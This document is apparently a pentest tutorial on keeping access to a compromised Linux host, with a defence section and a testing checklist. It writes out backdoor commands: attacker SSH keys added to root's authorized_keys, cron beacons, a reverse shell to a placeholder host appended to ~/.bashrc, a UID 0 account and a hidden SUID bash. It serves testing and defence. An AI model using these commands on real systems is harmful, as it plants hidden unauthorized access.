Linux Persistence

After compromising a host and escalating to root, persistence ensures you keep access even if the system reboots, passwords change, or you’re kicked out of a session. Linux offers many auto-start and recurring-execution mechanisms an attacker can hijack. In a pentest it’s documented (to demonstrate impact); in a real attack it’s what turns a one-off access into a lasting compromise.

Principle and types

Persistence reuses legitimate execution mechanisms: boot, scheduled tasks, authentication, services. There are two big families: user-level (survives sessions) and system/root-level (survives reboots, more powerful). The attacker’s challenge is stealth; the defender’s, detecting what was added.

SSH keys (the most common and cleanest)

# add your public key to authorized_keys -> permanent passwordless access
echo "ssh-ed25519 AAAA...attacker" >> ~/.ssh/authorized_keys
echo "ssh-ed25519 AAAA...attacker" >> /root/.ssh/authorized_keys
# backdoor in the sshd config itself (AuthorizedKeysFile, PermitRootLogin)

Simple, reliable, and low-noise if authorized_keys isn’t audited.

Cron and systemd timers

# user or system cron that relaunches your backdoor/beacon
(crontab -l; echo "* * * * * /tmp/.beacon") | crontab -
echo "* * * * * root /usr/local/bin/update.sh" >> /etc/cron.d/update
# systemd service + timer (more modern, can look legitimate)
# /etc/systemd/system/updater.service + .timer -> ExecStart=your payload

Boot and shell profiles

# system startup scripts
/etc/rc.local, /etc/init.d/, systemd services (ExecStart)
# shell profiles (run at login)
~/.bashrc ~/.bash_profile ~/.profile /etc/profile /etc/bash.bashrc
echo 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1 &' >> ~/.bashrc

Accounts and authentication backdoors

# create a UID 0 user (parallel root)
echo 'backdoor:x:0:0::/root:/bin/bash' >> /etc/passwd   # (with a hash in shadow)
# add a normal user and put them in sudo
useradd -m -s /bin/bash svc ; usermod -aG sudo svc
# PAM backdoor (master password) / malicious PAM module -> stealthier and more powerful

Stealthier techniques

# SUID backdoor: a hidden SUID copy of bash
cp /bin/bash /usr/lib/.sysd; chmod +s /usr/lib/.sysd   # -> .sysd -p = root
# capabilities on a hidden binary (see lin-caps)
# LD_PRELOAD / malicious library loaded by services
# kernel module (rootkit) -> maximum stealth, maximum complexity
# webshell if the host serves web (in /var/www)

For the defense

Audit authorized_keys of all users (especially root) and the sshd config; centrally managed keys.
Monitor changes (auditd, FIM) in cron, /etc/cron.*, systemd units, rc.local, shell profiles, /etc/passwd/shadow, and PAM modules.
Alert on duplicate UID 0 accounts, new sudo users, new SUID binaries (find -perm -4000 compared to a baseline).
System integrity: signed packages, debsums/rpm -V, rootkit detection (rkhunter, chkrootkit).
After an incident: rebuild the host (stealthy persistence —PAM, rootkit— is hard to eradicate with confidence) and rotate credentials/keys.

Testing checklist

SSH key in authorized_keys (user and root)
Cron / systemd timer that relaunches access
rc.local / systemd services / shell profiles
UID 0 user or user in sudo
Hidden SUID backdoor / capabilities
PAM backdoor or LD_PRELOAD (stealthy)
Document everything planted (for cleanup in the report)
Blue: do FIM/auditd detect each mechanism?